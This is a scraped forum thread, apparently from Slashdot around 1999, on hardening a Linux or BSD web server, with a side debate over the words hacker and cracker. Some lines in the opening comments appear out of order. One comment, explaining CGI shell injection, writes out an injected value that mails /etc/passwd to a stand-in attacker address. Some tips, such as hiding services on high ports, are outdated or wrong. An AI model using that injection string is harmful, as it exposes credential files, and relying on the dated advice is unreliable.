Get all your permissions right (e.g. kill off SUID unless the prog _really_ needs it _and_ gets run by other than root) chattr +i _everything_ that will take it, including directories. The +i bit doesn't care if you're root!
/tmp first... or at least, scripts with the same names but that perhaps don't do _quite_ the same things...
/etc over the top of the real one, with stuff like a "limited" fake fstab - and then delete umount.
You might like to put a few favourite cracker recipe scripts in
Then delete chattr. (-:
You can always put in a floppy and run it from there if you want to change something.
Also, mount as much as possible ro, nodev, noexec/nosuid and so forth, then mount a "fake"
I guarantee hours of entertainment watching the script kiddies smacking their heads against the wall!
Got time? Spend some of it coding or testing
I think that the BIOS setting can control write access only when the BIOS is used to access the drive... so unless your running DOS on your server, I don't think this will do any good.
--Rob
This method isn't the greatest, but if you have a secure box, this won't hurt.
Here's the idea:
Make the port numbers very high. Much higher than 1024, since that's as far as most port scanners go. That way, unwanted people won't know about them.
I hope you'll seriously consider changing your sig. To make a joke out of the deaths in Colorado -- particularly while the wound is still fresh, so to speak -- is in appallingly bad taste.
Perhaps you meant something else entirely. I can only hope so. But in view of what is an obvious interpretation of your sig for Americans, I hope you'll seriously consider using something else.
DFL
Never send a human to do a machine's job.
Whoops, shows how much I've been paying attention to that particular aspect of the security industry. Oh, well, MD5 still offer longer password lengths.
Here's a quick(??) checklist:
/etc/login.defs. It allows passwords longer than 8 characters (standard shadow limit), and to the best of my knowledge there are no password crackers which will crack MD5 hashed *NIX passwords. There's also lots of other fun stuff to mess with in login.defs, btw.
/etc/hosts.deny - this will drop all connections from systems where the connecting ip and dns do not resolve properly; e.g. if a connect from 10.1.1.1 comes in, and reverse-resolves to proxy.somenet.com, but proxy.somenet.com resolves to 192.168.1.1, the connection is dropped. This prevents DNS spoofing attacks.
/bin /sbin /usr/bin /usr/sbin - etc.
* Disable all the unused services. ftp, talk, biff, finger - the usual suspects. Make sure the inetd internal services (echo, chargen, discard, daytime, time) are disabled; there are some inetds that have overflow problems with these services, which will crash inetd.
* Shadow passwords.
* MD5 crypted passwords. Don't know if this is supported on RH, but Debian 2.0 or better does. This is a wonderful feature, it's settable in
* Strict firewall rules; allow only addresses that should be coming into your system (or network) in on only the interfaces configured for them. Reject anything else, and log it. Reject ports you don't use. When setting up firewall rules, use numeric IP addreses to prevent DNS spoofing attacks.
* Make sure the line `ALL: PARANOID' is in
* Think about a chroot()'d webspace. Make sure the chroot() jail is writable only by a privledged user.
* Never log in as root. Have a user account and use su or sudo.
* Strong passwords.
* Never ever perform a privledged operation (like su) over an insecure transport like telnet or rsh. ssh is your friend here.
* Think about mounting your root partition read-only to prevent trojans. Maybe also set the ext2 immutable flag (chattr +i files) on areas which should not be modified;
* Run a logwatcher which will filter your logs and mail suspicious entries to you. Abacus logwatcher is good. (http://www.psionic.com/abacus/) Set it up to page your alphapager if something funny happens. (All serious *NIX admins have alphapagers, right? right??)
* Write an init script to alphapage you when the system changes runlevels.
* Workstations make bad servers, and vice-versa. Don't use a server as your desktop machine.
* Once you have a stable configuration, leave it unless you must change something. (bug etc)
* BUGTRAQ
* Common sense.
Sometimes KISS means "keep it stupid simpleton"
I have been seeing more and more of this with the flood of underexperienced sysadmins ("well i ran a linux box at home for a month, so I can run your company's servers")
Simple is often not the best method, and in thwarting the attacks of the scriptkiddies and lameroids Simplicity itself is often a weapon used against the secure seeking admin.
Byzantine methodolgoies in and of themself are not what is needed, but rather robust plans whos unravelings would require machinations and permutations of actions that only the sharper and more attentive of webwhacking minds would want to do the tango of attack with.
KISS=Keep It Secure Smartly
Anything else is just plain S
Poor little clams! Snap! Snap! Snap! Poor little clams! Snap! Snap! Snap! Poor little clams! Snap! Snap! Snap!
I have in my Palm V a basic checklist covering security measures for NT (rename admin, etc...), and many good ideas for Linux have been discussed. Is there a basic checklist covering Linux out there suitable for my Palm Pilot?
-----
I meant append-only, not immutable :P
There are a few reasons.
First, it keeps the ability to su restricted to a few trusted people, no matter who has the password. (root:wheel 4510)
Second, it provides some sort of accountability, especially if your logging to a secure loghost or your logs are immutable. su will log who su'd and you know who's account was compromised / who screwed up.
A third reason which may be less valid in most circumstances is it requires an attacker to compromise two passwords rather than just the root password.
Just a few reasons off the top of my head.
Well, I don't know if the MacOS approach is so wrong -- A couple wrong decisions on a Linux or Windows NT install, and you've got an essentially open box. (What'd you expect - it's supposed to be easy!) On the other hand, if a network demon is running on MacOS it's only because you put it there.
All of this might be mostly trival now for the individual with a dial-up connection. But I've already begun hearing about directed hack attempts (like let's see what's on the boss's computer) against people's personal workstations on Cable modems or DSL.
--
Business. Numbers. Money. People. Computer World.
There are so many security problems with logging as root that people usually don't even report/investigate them. So you are opening yourself up to a range of things that haven't been tested/thought about by a larger group of people. Just imagine a trojan in KMail or Gimp for example.
--
Business. Numbers. Money. People. Computer World.
PDF's are *not* good for online content. They are great if you want to see an accurate print-preview before you eat up a ream of paper, but they are very awkward format to use for online documentation.
They aren't editable without expensive, proprietary tools, for one thing. Secondly, the acrobat reader is SO SLOW and most people's monitors can only display half of a page at once at a readable resolution.
PDFs should not be the primary format for open-source related online documentation. It goes against the entire philosophy!
Reach around behind your PC. Locate and identify all of the following:
Keyboard/mouse/trackball/touchpad connector cords
Printer connector cord
Speaker/video out/input cords
Monitor connector cord
Power cords
SCSI connector cords
And unplug everything else.
-josh
I'll never forget the AppleShare IP server I worked with about a year and a half ago that died (hard hang, power cycle required to reboot) when I sent it a single normal sized ping packet. That's network stability for ya!
-Cheetah
>Hacking into FBI site
>as to
>Cracking into FBI site
try:
Cracking the FBI site
this sounds better.
Many a modern BIOS (eg AMI BX)can be set to allow no commits to an IDE channel from the standard configuration utility. There is no futzing with jumper shunts. Some SCSI hosts also offer this feature in firmware.
1st up, decide what the machine is going to do. Is it juts gonna be a web server? kill inetd and ensure it never runs again. Is it going to be used as a NFS server? kill all NFS daemons (rpc.* is usually a good start..) Is it going to shift mail about? Kill sendmail.
Everytime you think you have killed something portscan your computer. You'd be amazed at how some stuff just keeps on appearing from nowhere...
Seriously, linux is pretty bad outta the box. Try OpenBSD or NetBSD for security, I'm not overly familiar with FreeBSD but I assume that's OK too. The only reason I'm saying this is that you NEVER need everything Linux distro's supply with a full install. There's 1024 priviledged ports on a machine, and linux seems to want to open every damn one...
Don't EVER install more than you need. If you aren't going to send and recieve mail on the machine, why run or install ANY mail software. Never gonna need FTP? Why install it? This saves disk space which is alway's a bonus and also limits the number of exploitable programs.
The simplest rule to follow is:
1) Need it? Leave it running
2) Know ya don't need it? Turn it off.
3)Don't know what it is? Kill it with extreme prejudice. You'll never know what it was, but at least some 3r33t hax0r won't exploit it...
Use SSH if ya must login. NEver create more than the bare minumum of accounts you need. Run FTP if you must for access on a mad port, a really high port which is unassigned.
And kidz. It's not cool to break into this guy's server just because you think he doesn't know what's going on...
If I remember correctly it was hacked thru ssh, but only when sshd had been compiled with kerberos support. There was loadsa confusion over it all, with IBM (I Blame Microsoft) pre-emptively releasing an advisory before the full facts were known. I think it was only the 1.2.x proggies that were affected, but don't hold me to it.
Why not ask Kit Knox?
There is a pdf viewer for linux - it is called something like acroread. Seek and ye shall find.
-----
aryeh
aryeh
To email me, remove my pants!
The site that I administer is run using apache under IRIX. While I don't actually like IRIX, it provides a utility IMON which is necessary for our configuration.
We have a source host where user accounts are made. Each user can log into this host and access the html source files as necessary. Editing is handled via normal user and group permissions. This machine DOES NOT have apache installed. This machine only answers on port 22 (for ssh access).
A second "server" host runs apache. This machine only answers on port 80 and port 22 (apache and sshd), plus a selected high port (described later).
The source host uses IMON to monitor the inodes of all files in all directories containing HTML source. When a file is modified, the file info is passed to a daemon which then transfers the file (via that high port mentioned above) to the actual server.
In the process, the ownership and permissions of the file are modified to meet policy--users have no control over file permissions on the actual web server.
The transfer is accomplished with a daemon that listens on a high port and uses SSL to transfer the file. The daemon requires that the connection be both from the proper IP and provide the proper certification, to prevent spoofing.
Finally, the web server runs as a user 'apache'. The files are all owned by a user 'webuser'. Both are members of group 'web', and read permission is set on the files to allow the HTML source files to be read by the web server, but not written. No files or directories are owned by the web server. A regularly-run find command reports any files that are owned by the web server.
The web server also runs in a chrooted environment. Neither the real root or the chroot environment have any "evil" utilities installed. All binaries have been removed and only replaced when a need for them was demonstrated.
CGI access is even more strictly limited. Any user requesting CGI access is given an account on a test web server. This test server only accepts connections (via router filters) from limited hosts. This server runs apache and allows the users to code their CGI's. When a user is ready to "publish" their code, they request an account for it. Two accounts are made on the "server" machine: one for the cgi-bin script itself, and one for its data.
All data files are created and chown'ed to the data user. The cgi code is installed and chown'ed to the script user. No directories are owned by either user.
Because a new set of users is generated for _each_ CGI, there is no easy way for one cgi to overwrite/change/read data owned by another. Each cgi runs as a unique user, with data files owned by another user, and a common group used to allow write access.
This also leaves the cgi's themselves, and their data files, unreadable to the apache user.
Any unauthorized user who gains access to any one of these uid's is still strictly limited in what they can do. No X binaries are available on the web servers. The only "easy" avenue of attack is the source server, which is protected in the usual ways, including sitting on a subnet which is not visible from outside our network.
As a result, our users (we have 200+ people preparing web pages) have relatively simple access to their pages, while anyone attempting to crack the servers will be hard pressed to see results.
If your server is going to be relatively static, without any cgi or any other need to write data, you can run the server chrooted to a read-only null_fs partition, allowing regular users access to the real partition, but giving the web server no ability to write any data anywhere. Or run two servers, one set up this way to access the static content, and a second just for cgi, on another port.
--plambert
Does the system us a salt value with the MD5 passwords? If not, why not? If they don't, one would be able to make a dictionary of encrypted passwords and do bulk checks against it. I did a check against the man pages on OpenBSD and didn't find any mention of using a salt with MD5, while other types mentioned using a salt value. I still haven't looked at the source. Someone should do that. I don't have the source easily readable at this point. This could be a hole.
read it again. The only port that should be open to anyone should be 80. Leave 22 open to the IPs of the machines you admin from. Ideally, you are on the same LAN with the webserver, so you can block internal IPs from coming from anywhere except your network.
I'll address the Linux part first, because I know the most about that.
/etc/inetd.conf and your rc scripts. Shadowed passwords, not allowing root login remotely (use su) and only having ssh for remote access spring to mind.
First off, do the obvious things like removing EVERYTHING you don't absolutely need from
Now, if thats still not enough, look into the firewall support. deny ICMP, and access to ssh from anything but your machine. The only port that anyone can connect to should be 80.
Finally, if you're getting hammered by the kiddies, you might want to look into things like Solar Designer's non-executable stack patch(its called secure-linux, and I think its at: www.false.com). Its not perfect, but its a great extra layer to stop the formulaic attacks. Also, things like StackGuard (a hacked GCC that generates code to try to avoid buffer overruns) may be helpful. If all this isn't enough, its time to break out the heavy iron.
Which brings us to OpenBSD. Most of the stuff I said above applys, except for instead of secure-linux, you just use StackGuard. And firewalling uses ipfilter.
No matter what you use, you want tripwire, and be sure to keep the database and the statically linked executable, and a safe kernel, on write-protected floppies.
CGI security i'll leave to someone more qualified than I, especially since there are many great resources on secure CGI programming techniques, and a few on secure apache CGI configuration.
Nothing will make a box 100% secure, but every little thing you do could prevent another attack, and eventually, the cost of attacking your server exceeds whatever gain the attacker would get.
If I'm not mistaken, I read in a Wired article that l0pht industries runs OpenBSD as their webserver. Granted, as mentioned earlier, a poorly configured server can be cracked, regardless of OS.
you can do this with a Linux box by disallowing everything except port 80. that is all that the mac had enabled from what I understand.
"The urge to destroy is a also a creative urge." -Mikhail Bakunin
"Build it right up, knock it right down." - Swervedriver
All computer geeks are sociopaths, pal. Face it.
And who is the coward? Who is taking the risk here? Who stands to lose the most here? If you're a cracker, and you f**k up, you go to jail. You can talk about your pretty little ideas all you want but to call crackers cowards is extremely misguided when they are risking their physical freedom and anal virginity to commit their silly exploits.
Personally, I feel the only laws we need are the law against murder and the laws of thermodynamics, let's dump the rest of them, it'll be fun.
It's not encrypted. If you read more closely, xPDF doesn't handle password-protected PDFs - it's protected against editing. It *FALSELY* recognises them as encrypted.
Open Source. Closed Minds. We are Slashdot.
I've wondered, why always su to root instead of logging in? I understand the part about ssh'ing from a trusted machine or on the console, but I never got why you'd go through two layers of security if you have to type in root's password anyway (at su's prompt).
A lot of people have been posting that one ought to turn off unused/unnecessary services. While this is good advice in general, it misses a need that most sysadmins have: they need certain services - some of which create security holes. For example- if you run a small corp/edu server you may need http for web presence, ftp to distribute files/documents/patches/etc, telnet to allow users/students/employees access mail/personal files/programs/etc, and any other number of personal services. These necessary activities cannot simply be discarded without losing the importance and function of the server itself.
I do believe that there is an alternative - play a little shell game with the port numbers. Considering most users will either learn of their access either by direct interview or by documentation they alone will likely see, the oppertunity to change where the services run arises. For example: on a small edu server, the telnet port was changed from the standard "23" to a much higher number(>800). This removed the oppertunity of a kiddie to "telnet server.domain.edu" He or she now has to know the port number. Avgerage users will know this number and thus "telnet server.domain.edu ###" allows them to telnet into the server to use whatever the server was designed for. Admittedly, a simple port mapper utility will still be able to find the unlisted ports (my personal favorite is nmap by fyodor -- www.insecure.org). But in the end, some security is gained in a service that would otherwise be a complete security hole.
This shell game concept can be further extended to increase security. Because the port numbers must be made non-standard anyway, the services can too be changed. Another edu example: A server is running ftp to distribute files like syllabi to students. Instead of ftp, http can be substitued running on a non-standard port. Now students can gain access to the files they need via "server.domain.edu:####" instead of ftp. A second httpd running on the new port accomplished the job with more security.
I don't claim to be an expert, and I agree that restricting services is the most effective means to net security. But at the same time, I can see the need for some services. I hope this has been helpful to present some options to overcome this dilemma.
You can't get a blue screen on a black and white monitor.
The following site has list of basic links:
http://www.networkice.com/advice/OS/UNIX/
(Yahoo-ish format, but links are much better reviewed and more relavent).
You have to expect the media to use the word 'hackers' as it has become a defacto term for describing this activity.
:P
Forget about computers for a sec, hacking something sounds like you are wrecking something - destroying it. The point is either word should be able acceptable. Hacking, cracking - both words have both double meanings in my opinion. It just depends on what context it is used. The word 'cracking' describes better some types of activity, and yet 'hacking' sounds better for others.
e.g.
Hacking into FBI site
as to
Cracking into FBI site
To me, 'Hacking' sounds better to describe the sentance. We all know what it is meant destructively, so who really cares?
I remember when Amiga were everywhere, Crackers were what we now Hackers, and Hackers were those who 'hacked' to cause data loss, etc.
Both words can be used in either way. Stop being so pedantic
Do your best, hope for the best, suspect the worst.
They had a contest a few years back about trying to hack into a MacOS appleshareIP web server. The contest offered 10.000$ cash to whomever could crack the system, prove it and explain the process. Anything affecting only that one machine was allowed. Downing the server was not considered a crack, content had to change. There were no winner to the first run of the contest. However, and this led to a crack on the second contest, the server was only running the web server. Nothing more. I'm not even sure CGIs were allowed... The admins would update the server through a local appletalk network. Although in the end, if I remember properly, in the second contest, about one year after the initial one, someone cracked one of the new plugins added for additional functionalities; the real http server was never cracked. I'm not trying to argue that appleshareIP is a better product, nor even a good product, this was back at the beginning of ASIP 5. The product has evolved since then and its security features may have fallen a bit. However this does show that if there's no point of entry, except the strict minimum, on your server, then there is nothing to hack... But if you're trying to run all the latest web gizmos then you shouldn't be looking at security, just good backups. Hope this helps.
I'm sure that Jon Katz would be appalled at your attempt to remove the ability of these fine young moral members of the internet hacker community to satisfy their curiosity as to what is on your web server.
Crackers should be embraced, not oppressed by people like you.
Shame on you. You tell em, Katzie.
The definition of the word Hacker, and all words derived from it, put forth by the mainstream media is incorrect. A hacker is someone like Linus Torvalds or Alan Cox or RMS or me even (at least in intent if not in talent). A hacker is someone who seeks to understand as fully as possible how a system works, so that they might improve it or originate a new system. It's basically a philosophy and an outlook on life. Sometimes along they way a hacker will break into a system that he or she would not otherwise have access too, but this is relatively rare and when it is done it is done for the pursuit of knowledge and never with the purpose of causing harm. A cracker on the other hand is kind of like a hacker from the dark side. These scumbags are the ones who are responsible for things like computer viri. They take joy in invading a system and destroying it. Some of them have great technical skills, but rather than use them to make new things, they only use them to destroy what others have created and bring the scrutiny of law enforcement officials down on all of us along the way. Crackers are sociopaths who use a computer as a way to cause harm anonymously and from a distance. Sick cowards in other words. So please understand that when you use the word hacker to describe such a person, you do everyone who considers themself a true hacker a disservice by further promoting the misuse of the word.
That's my $.02
Lee
Muslim community leaders warn of backlash from tomorrow morning's terrorist attack.
One of the neat things about the web is that it democratizes communication. Somebody once said that freedom of the press is only for people who own one. The web is hands down the cheapest way ever invented to communicate with millions of people. Maybe the Social Workers Party can't afford to print a million copies of a manifesto and convince Barnes & Noble to carry it, but it can have its own web site. The same goes for other organizations with unpopular viewpoints (2600.com, for example).
Freedom of speech is meaningless without the freedom to listen; freedom of the press is meaningless without the freedom to read. My beef with the hackers who take down web sites is that I no longer have access to that information. Sure, the web site can hire a consultant to lock things down, they wouldn't have the problem, but this returns publication to what it was pre-web -- a rich man's perogative. For government sites, it means that we will continue to have to pay private companies for government data (like USGS topos and sat photos) that we already own, because the feds will point to this saying it's too expensive to distribute it for free.
When I was an MIT student, we had a hacking ethic, which was "do no harm"; in fact we often tried to leave things a little better. Safety was paramaount, and minimizing inconvenience was an important concern. A good hack should leave a smile on the victim's face. If there were an "ethical" web hack, it would (1) maintain access to the original site off the hacked site, (2) be a one off affair not a repeated attack and (3) bear no malice. For example, replacing the FBI page with an episode guide to the Untouchables, with a prominent link to the original FBI page would be a cool hack.
I don't believe in overreacting to every incidence of cracking; lots of cracker activity is just doorknob twisting and fairly benign, and the proper reaction is to tighten up security and move on. However, DOS against a web site of an organization for political or economic purposes is evil, and the perpetrators should be busted and do hard time.
Web site cracking the moral equivalent of smashing a printing press because it produces literature you disagree with.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Well first off I personally would never run any of the R*services, it seems like there is a new root remote exploit for one of them every month.As for SSH, that seems to be what everyone recommends here but wasn't that how rootshell (the script kiddie 31337 site) got hacked, through a bug in SSH? And as for CGI programming, always keep things in mind like what if someone passed ";" in their arguments to the script. ie: you call mail %1 and the arguements are " a@aol.com ; mail -s passwd evil@hax0r.org /etc/passwd". Of course thats also a good reason to use shadowed passwords. Oh yeah and if you do any programming for the server please never use sprintf or related functions. Reading BUGTRAQ would be helpful too - if you dont want to subscribe just goto http://www.geek-girl.com/bugtraq/
check /etc/inetd.conf and comment off the usual open services e.g. telnet, ftp, popxx, shell, login. install ssh and shadow the password file (redhat 5.x never used to do that -- run pwconv and grpconv). Check your system logs daily..install an updater to check for new bugfixes automatically (you get the rpm for it). Be really paranoid -- all good sysadmins are. Ensure no login account exists except for your account and root. never login as root - always su yourself and login via ssh from a trusted machine or your own webservers console.
I can't believe complicating your system by running VMWare increases security - there's just way too many question marks. KISS is still the best way.
Almost any website of worth changes periodically enough that such a technique is silly.
There are adequate ways to secure a web site without doing this.